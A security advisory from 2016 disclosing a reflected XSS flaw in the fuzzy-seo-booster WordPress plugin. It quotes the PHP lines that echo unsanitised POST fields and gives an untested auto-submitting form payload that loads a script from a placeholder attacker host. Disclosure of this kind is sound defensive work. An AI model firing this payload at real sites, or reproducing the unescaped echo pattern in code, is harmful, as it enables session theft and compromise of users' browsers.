Advisory #: 907
Title: Reflected XSS in wordpress plugin fuzzy-seo-booster v2.0.2
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/fuzzy-seo-booster
Downloads: 18846
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: fuzzy-seo-booster
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./fuzzy-seo-booster/seoqueries.php: 122: <input id="keyword" type="text" name="keyword" value="<?php echo $_POST['keyword'] ?>" /><br /> 125: <input type="text" id="exact-date" name="exact_date" value="<?php echo $_POST['exact_date'] ?>" /><br /> 127: <input type="text" id="start-date" name="start_date" value="<?php echo $_POST['start_date'] ?>" /><br /> 129: <input type="text" id="end-date" name="end_date" value="<?php echo $_POST['end_date'] ?>" /><br /> The variable keyword appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./fuzzy-seo-booster/seoqueries.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3. <form name=TheForm action=http://[target]/wp-content/plugins/fuzzy-seo-booster/seoqueries.php method=post> <input type=hidden name=keyword value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>